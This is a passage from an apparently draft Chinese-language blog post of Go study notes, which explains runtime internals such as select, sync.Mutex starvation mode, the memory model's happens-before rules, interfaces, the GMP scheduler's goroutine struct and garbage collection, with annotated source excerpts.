c.sendq.enqueue(sg) } else { c.recvq.enqueue(sg) } if c.timer != nil { blockTimerChan(c) } } // wait for someone to wake us up gp.param = nil // Signal to anyone trying to shrink our stack that we\u0026#39;re about // to park on a channel. The window between when this G\u0026#39;s status // changes and when we set gp.activeStackChans is not safe for // stack shrinking. gp.parkingOnChan.Store(true) gopark(selparkcommit, nil, waitReason, traceBlockSelect, 1) gp.activeStackChans = false sellock(scases, lockorder) gp.selectDone.Store(0) sg = (*sudog)(gp.param) gp.param = nil // pass 3 - dequeue from unsuccessful chans // otherwise they stack up on quiet channels // record the successful case, if any. // We singly-linked up the SudoGs in lock order. casi = -1 cas = nil caseSuccess = false sglist = gp.waiting // Clear all elem before unlinking from gp.waiting. for sg1 := gp.waiting; sg1 != nil; sg1 = sg1.waitlink { sg1.isSelect = false sg1.elem.set(nil) sg1.c.set(nil) } gp.waiting = nil for _, casei := range lockorder { k = \u0026amp;scases[casei] if k.c.timer != nil { unblockTimerChan(k.c) } if sg == sglist { // sg has already been dequeued by the G that woke us up. casi = int(casei) cas = k caseSuccess = sglist.success if sglist.releasetime \u0026gt; 0 { caseReleaseTime = sglist.releasetime } } else { c = k.c if int(casei) \u0026lt; nsends { c.sendq.dequeueSudoG(sglist) } else { c.recvq.dequeueSudoG(sglist) } } sgnext = sglist.waitlink sglist.waitlink = nil releaseSudog(sglist) sglist = sgnext } if cas == nil { throw(\u0026#34;selectgo: bad wakeup\u0026#34;) } c = cas.c if casi \u0026lt; nsends { if !caseSuccess { goto sclose } } else { recvOK = caseSuccess } ... selunlock(scases, lockorder) goto retc bufrecv: bufsend: recv: rclose: send: ... goto retc retc: if caseReleaseTime \u0026gt; 0 { blockevent(caseReleaseTime-t0, 1) } return casi, recvOK sclose: // send on closed channel selunlock(scases, lockorder) panic(plainError(\u0026#34;send on closed channel\u0026#34;)) } Sync Mutex GO// 互斥锁的公平性。 // // 互斥锁有两种工作模式：正常模式（normal）和饥饿模式（starvation）。 // 在正常模式下，等待者（waiters）按 FIFO 顺序排队，但被唤醒的等待者 // 并不会直接拥有互斥锁，而是需要与新到达的 goroutine 竞争锁的所有权。 // 新到达的 goroutine 有优势——它们已经在 CPU 上运行，而且可能有很多个， // 因此被唤醒的等待者很有可能竞争失败。在这种情况下，它会被重新放回 // 等待队列的队首。如果一个等待者在超过 1ms 的时间内仍未能获得互斥锁， // 则会将互斥锁切换到饥饿模式。 // // 在饥饿模式下，互斥锁的所有权会由解锁的 goroutine // 直接移交给等待队列最前面的等待者。 // 新到达的 goroutine 即使看到锁似乎已经解锁，也不会尝试获取锁， // 也不会进行自旋；相反，它们会把自己加入到等待队列的尾部。 // // 如果某个等待者获得了互斥锁，并且发现以下任一情况成立： // (1) 它是队列中的最后一个等待者；或者 // (2) 它等待的时间少于 1ms， // 那么它会将互斥锁切换回正常模式。 // // 正常模式的性能要好得多，因为即使有被阻塞的等待者， // 某个 goroutine 仍然可能连续多次获取同一个互斥锁。 // 而饥饿模式对于防止某些极端情况下的尾延迟（tail latency）问题非常重要。 const ( mutexLocked = 1 \u0026lt;\u0026lt; iota // bit0: 是否已加锁 mutexWoken // bit1: 是否已有被唤醒的等待者 mutexStarving // bit2: 是否处于饥饿模式 mutexWaiterShift = iota // 从 bit3 开始存等待者数量 ) type Mutex struct { state int32 sema uint32 } func (m *Mutex) Lock() { // Fast path: grab unlocked mutex. if atomic.CompareAndSwapInt32(\u0026amp;m.state, 0, mutexLocked) { if race.Enabled { race.Acquire(unsafe.Pointer(m)) } return } // Slow path (outlined so that the fast path can be inlined) m.lockSlow() } func (m *Mutex) lockSlow() { var waitStartTime int64 // 开始排队等待的时间 starving := false // 是否因为等待时间过长而处于“饥饿”状态 awoke := false // 是否是刚从沉睡（等待队列）中被唤醒的 iter := 0 // 尝试自旋（Spin）的次数 old := m.state // 记录互斥锁当前的状态 // 进入一个死循环，不断尝试获取锁或者挂起自己 for { // ========================================== // 第一阶段：尝试自旋 (Spinning)，这是一种乐观等待机制 // 只有在满足以下所有条件时才会自旋： // 1. 锁当前被占用 (mutexLocked == 1) // 2. 锁没有处于饥饿模式 (mutexStarving == 0)。饥饿模式下绝对不允许自旋插队。 // 3. 当前的 CPU 状态允许自旋 (runtime_canSpin)。比如多核且有空闲的 P，且自旋次数不足 4 次。 // ========================================== if old\u0026amp;(mutexLocked|mutexStarving) == mutexLocked \u0026amp;\u0026amp; runtime_canSpin(iter) { // 在自旋的过程中，如果当前 goroutine 没有被打上\u0026#34;已唤醒\u0026#34;标记， // 且锁的\u0026#34;已唤醒\u0026#34;标志位还没有被别人设置，而且等待队列里确实有其他人正在排队， // 那么当前 goroutine 就尝试用 CAS 把锁的状态标记为\u0026#34;已唤醒\u0026#34; (mutexWoken)。 // 为什么要这样做？ // 这是为了告诉当前正在持有锁的那个 goroutine：\u0026#34;嘿，我就在这里盯着呢(在CPU上空转)， // 你一会儿释放锁的时候直接走人就行，千万别再去慢吞吞地唤醒队列里的老实人了，把锁留给我就行！\u0026#34; if !awoke \u0026amp;\u0026amp; old\u0026amp;mutexWoken == 0 \u0026amp;\u0026amp; old\u0026gt;\u0026gt;mutexWaiterShift != 0 \u0026amp;\u0026amp; atomic.CompareAndSwapInt32(\u0026amp;m.state, old, old|mutexWoken) { awoke = true } runtime_doSpin() // 执行底层汇编 CPU PAUSE 指令，让出几个时钟周期，但不让出线程 iter++ // 增加自旋次数 old = m.state // 刷新锁的旧状态，看看主人在自旋期间是不是把锁释放了 continue // 继续这轮抢锁尝试 } // ========================================== // 第二阶段：走到这里，说明要么没资格自旋，要么自旋结束了（无论持锁者是否已释放锁）。 // 我们需要基于目前的旧状态 old，推算出我们期望锁变成的新状态 new。 // ========================================== new := old // 1. 如果当前不是饥饿模式，说明大家公平竞争，那么新来的或刚醒的 goroutine 就可以尝试设置加锁标志位！ if old\u0026amp;mutexStarving == 0 { new |= mutexLocked } // 2. 如果锁当前被占用，或者正处于不能插队的\u0026#34;饥饿模式\u0026#34; // 那么当前 goroutine 没有任何取巧办法，只能乖乖去排队（将 Waiter 等待者的数量 +1） if old\u0026amp;(mutexLocked|mutexStarving) != 0 { new += 1 \u0026lt;\u0026lt; mutexWaiterShift } // 当前线程饥饿，锁仍被占用 if starving \u0026amp;\u0026amp; old\u0026amp;mutexLocked != 0 { new |= mutexStarving } // 4. 清除唤醒标志位：如果当前 goroutine 之前被标记为 awoke (不管是自旋设置的还是被唤醒的) if awoke { // 将 Woken 标志位清零（因为当前 goroutine 已经\u0026#34;醒了\u0026#34;，使命完成了） new \u0026amp;^= mutexWoken } // ========================================== // 第三阶段：尝试使用 CAS 原语，把算好的期望新状态 new 替换掉实际的锁状态。 // ========================================== if atomic.CompareAndSwapInt32(\u0026amp;m.state, old, new) { // 如果旧状态既没有被锁死，也不处于饥饿模式 -\u0026gt; CAS抢到了一个空闲的锁 if old\u0026amp;(mutexLocked|mutexStarving) == 0 { break } // 走到这，说明 CAS 虽然成功修改了状态（比如成功给自己排上了队，或者成功把锁打上了饥饿标记）， // 但是并没有抢到锁的所有权。接下来只能去睡觉（阻塞挂起）了。 queueLifo := waitStartTime != 0 // 排到最前面 if waitStartTime == 0 { waitStartTime = runtime_nanotime() // 新来的，记录一下开始排队的时间点 } // 将自己挂起，让出 P，陷入沉睡，等待被别人通过信号量唤醒... runtime_SemacquireMutex(\u0026amp;m.sema, queueLifo, 2) // 当前 goroutine 被某一个释放锁的人唤醒了！ // 醒来后，计算等待时间(1ms)，是否饥饿 starving = starving || runtime_nanotime()-waitStartTime \u0026gt; starvationThresholdNs old = m.state // 醒来时刻锁状态 // 关键判断：目前锁处于什么模式？ if old\u0026amp;mutexStarving != 0 { // 【逻辑分支 A：锁已经处于饥饿模式！】 // 锁直接给了当前线程 // 既然我拿到了锁，那就需要修正状态：加上 Locked 标志，减去 Waiter 人数 1 delta := int32(mutexLocked - 1\u0026lt;\u0026lt;mutexWaiterShift) // 如果我不饿（等待没超过1ms），队列只有我自己，关闭饥饿模式 if !starving || old\u0026gt;\u0026gt;mutexWaiterShift == 1 { delta -= mutexStarving } // 通过原子操作应用这些修正逻辑 atomic.AddInt32(\u0026amp;m.state, delta) break // 拿到锁，跳出死循环 } // 【逻辑分支 B：锁处于正常模式】 // 被唤醒，锁处于正常模式，需要与刚刚来抢锁的那些正在 CPU 上活蹦乱跳的 goroutine 公平竞争 awoke = true // 标记是刚醒的（这样在上面第二阶段就可以清除锁的 Woken 标记） iter = 0 // 经历了一次沉睡，重新开始清算自旋次数 // 回到 for 循环的头部，刚唤醒需要线程调度优劣势，和那些新来的线程抢锁。 } else { // CAS 失败了，说明在计算 new 的过程中，有其他 goroutine 修改了锁的状态。 // 刷新 old 为最新的状态，回到 for 循环重新再计算一次期望的状态 new。 old = m.state } } } RWMutex GO// A RWMutex is a reader/writer mutual exclusion lock. // The lock can be held by an arbitrary number of readers or a single writer. // The zero value for a RWMutex is an unlocked mutex. // // If any goroutine calls [RWMutex.Lock] while the lock is already held by // one or more readers, concurrent calls to [RWMutex.RLock] will block until // the writer has acquired (and released) the lock, to ensure that // the lock eventually becomes available to the writer. // Note that this prohibits recursive read-locking. // A [RWMutex.RLock] cannot be upgraded into a [RWMutex.Lock], // nor can a [RWMutex.Lock] be downgraded into a [RWMutex.RLock]. // type RWMutex struct { w Mutex // held if there are pending writers writerSem uint32 // semaphore for writers to wait for completing readers readerSem uint32 // semaphore for readers to wait for completing writers readerCount atomic.Int32 // number of pending readers readerWait atomic.Int32 // number of departing readers } Once GOtype Once struct { _ noCopy done atomic.Bool m Mutex } func (o *Once) Do(f func()) { if !o.done.Load() { o.doSlow(f) } } func (o *Once) doSlow(f func()) { o.m.Lock() defer o.m.Unlock() if !o.done.Load() { defer o.done.Store(true) f() } } WaitGroup GOtype WaitGroup struct { noCopy noCopy // Bits (high to low): // bits[0:32] counter // bits[32] flag: synctest bubble membership // bits[33:64] wait count state atomic.Uint64 sema uint32 } Map GOtype Map struct { _ noCopy m isync.HashTrieMap[any, any] } type HashTrieMap[K comparable, V any] struct { inited atomic.Uint32 initMu Mutex root atomic.Pointer[indirect[K, V]] keyHash hashFunc valEqual equalFunc seed uintptr } 内存模型 参考 The Go Memory Model\nHappens-Before Go内存模型定义了在什么条件下，一个goroutine对变量的写入能被另一个goroutine的读取观察到。\n数据竞争(data race)：对同一内存位置的写操作与另一个读/写操作并发执行，且至少有一个不是原子操作。无数据竞争的程序表现为所有goroutine在单处理器上顺序执行（DRF-SC）。\nHappens-before 是 sequenced before（同一goroutine内的程序顺序）和 synchronized before（跨goroutine的同步关系）的传递闭包。对于普通读操作 r，它读取到的值必须是某个对 r 可见的写操作 w 所写的值——即 w happens before r，且在 w 和 r 之间没有其他写操作。\n同步保证 初始化：包 p 导入包 q，则 q 的 init 函数完成 synchronized before p 的 init 开始。所有 init 完成 synchronized before main.main 开始。\nGoroutine 创建：go 语句 synchronized before 新goroutine执行开始。\nGOvar a string func f() { print(a) } func hello() { a = \u0026#34;hello, world\u0026#34; go f() // 保证能打印 \u0026#34;hello, world\u0026#34; } Goroutine 销毁：goroutine的退出不保证 synchronized before 程序中的任何事件，必须使用同步机制。\nChannel 通信：\n向channel发送 synchronized before 对应的接收完成 channel关闭 synchronized before 因关闭而收到零值的接收 无缓冲channel：接收 synchronized before 对应的发送完成 容量为C的channel上第k次接收 synchronized before 第k+C次发送完成（可用于限流信号量） GOvar c = make(chan int) var a string func f() { a = \u0026#34;hello, world\u0026#34; \u0026lt;-c } func main() { go f() c \u0026lt;- 0 // 无缓冲: 接收 synchronized before 发送完成 print(a) // 保证打印 \u0026#34;hello, world\u0026#34; } Locks：对于 sync.Mutex/sync.RWMutex 变量 l，第n次 l.Unlock() synchronized before 第m次 l.Lock() 返回（n \u0026lt; m）。\nOnce：once.Do(f) 中 f() 的完成 synchronized before 任何 once.Do(f) 调用的返回。\nAtomic：如果原子操作A的效果被原子操作B观察到，则A synchronized before B。所有原子操作表现为某种顺序一致的全序。\n错误的同步 GO// ❌ 双重检查锁定 - 观察到done=true不意味着能观察到a的写入 var a string var done bool func setup() { a = \u0026#34;hello, world\u0026#34; done = true } func doprint() { if !done { once.Do(setup) } print(a) // 可能打印空字符串！ } GO// ❌ 忙等待 - 不保证能观察到done的写入，循环可能永不结束 var a string var done bool func setup() { a = \u0026#34;hello, world\u0026#34; done = true } func main() { go setup() for !done { } print(a) // 可能打印空字符串，甚至死循环 } GO// ❌ 指针观察 - 即使观察到g!=nil，也不保证能观察到g.msg的初始化 type T struct { msg string } var g *T func setup() { t := new(T) t.msg = \u0026#34;hello, world\u0026#34; g = t } func main() { go setup() for g == nil { } print(g.msg) // 可能打印空字符串 } 以上错误的根本原因都是缺少显式同步，应使用channel、mutex、atomic等同步原语建立happens-before关系。\nContext GOtype Context interface { Deadline() (deadline time.Time, ok bool) Done() \u0026lt;-chan struct{} Err() error Value(key interface{}) interface{}) } Interface GOtype eface struct { _type *_type data unsafe.Pointer } type iface struct { tab *itab data unsafe.Pointer } type itab struct { inter *interfacetype _type *_type hash uint32 // copy of _type.hash. Used for type switches. _ [4]byte fun [1]uintptr // variable sized. fun[0]==0 means _type does not implement inter. } 反射 通过反射可获取接口的类型和数据信息\nGMP goroutine, machine, processor 一个machine绑定一个processor, processor调度goroutine，优先处理本地队列的协程。 每个processor有一个本地队列，还有一个全局队列。\nGO// 栈内存区间 [lo, hi) 2kb type stack struct { // 协程的栈 lo uintptr hi uintptr } // goroutine 切换时保存/恢复的寄存器上下文 type gobuf struct { sp uintptr // 栈指针 pc uintptr // 程序计数器（下次从哪里继续执行） g guintptr // 所属的 g ctxt unsafe.Pointer // 闭包上下文 bp uintptr // 帧指针（用于 traceback） } type g struct { // ===== 栈管理 ===== stack stack // 栈内存区间 [lo, hi)，初始 2KB stackguard0 uintptr // 栈溢出哨兵，设为 StackPreempt 时触发协作式抢占 // ===== panic/defer 链 ===== _panic *_panic // 最内层 panic，多个 panic 形成链表 _defer *_defer // 最内层 defer，LIFO 链表 // ===== 调度核心 ===== m *m // 当前绑定的 M（系统线程），未运行时为 nil sched gobuf // 保存 SP/PC/BP 等寄存器，goroutine 切换的核心 atomicstatus atomic.Uint32 // 状态机：_Grunnable/_Grunning/_Gwaiting/_Gsyscall/_Gpreempted goid uint64 // goroutine 唯一 ID schedlink guintptr // 运行队列链表中的下一个 g // ===== 系统调用 ===== syscallsp uintptr // 进入 syscall 时保存的 SP，供 GC 扫描栈使用 syscallpc uintptr // 进入 syscall 时保存的 PC // ===== 等待/阻塞 ===== waitsince int64 // 阻塞开始的时间戳 waitreason waitReason // 阻塞原因：chanRecv / sleep / semaphore 等 waiting *sudog // 正在等待的 sudog 链表（channel/select 操作） // ===== 抢占控制 ===== preempt bool // 抢占信号，配合 stackguard0 = StackPreempt preemptStop bool // true=抢占后进 _Gpreempted（GC STW 用）；false=仅让出 CPU // ===== 创建溯源 ===== parentGoid uint64 // 父 goroutine 的 ID gopc uintptr // go 语句的 PC（traceback 显示 \u0026#34;created by ...\u0026#34;） startpc uintptr // goroutine 函数入口 PC // ===== 线程绑定 ===== lockedm muintptr // LockOSThread() 锁定的 M // ===== GC 辅助 ===== gcAssistBytes int64 // GC assist 信用，负值表示欠债需帮 GC 做标记扫描 // ===== 其他 ===== timer *timer // time.Sleep 缓存的 timer selectDone atomic.Uint32 // select 竞争标志 param unsafe.Pointer // 通用参数传递（channel唤醒/GC/debugCall/panic recover） coroarg *coro // Go 1.23+ 协程转移参数（iter.Pull） // 实现协程需要解决什么？ 对应哪些字段？ // ─────────────────────────────────────────── // ① 暂停/恢复执行上下文 sched, m, atomicstatus // ② 轻量级栈管理 stack, stackguard0 // ③ 抢占（不能饿死其他协程） preempt, preemptStop, stackguard0 // ④ 高效阻塞（不浪费线程） waitreason, waiting, waitsince, syscallsp/pc, timer, selectDone // ⑤ 创建/销毁/排队 startpc, gopc, parentGoid, goid, schedlink, lockedm // ⑥ 与 GC 协作 gcAssistBytes, param } 内存管理 mcache,mcentral, mheap 微小对象，小对象，大对象\n垃圾回收 三色标记： 白色：未访问 灰色：已访问，未完全处理引用对象 黑色：已访问，并处理了引用对象 广度优先搜索\n","permalink":"https://buvidk1234.github.io/posts/go/","summary":"\u003cblockquote\u003e\n\u003cp\u003edraft\nneed to be improved\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"slice\"\u003eSlice\u003c/h2\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eGO\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-go\" data-lang=\"go\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#cf222e\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eslice\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003estruct\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003earray\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eunsafe\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ePointer\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e   \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ecap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e   \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#57606a\"\u003e// 扩容\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#cf222e\"\u003efunc\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#6639ba\"\u003enextslicecap\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewLen\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eoldCap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewcap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e:=\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eoldCap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003edoublecap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e:=\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewcap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewcap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewLen\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003edoublecap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewLen\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003econst\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ethreshold\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e256\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eoldCap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ethreshold\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003edoublecap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003efor\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\t\u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// 1.25x\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewcap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewcap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ethreshold\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#6639ba\"\u003euint\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewcap\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#6639ba\"\u003euint\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewLen\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\t\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003ebreak\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan 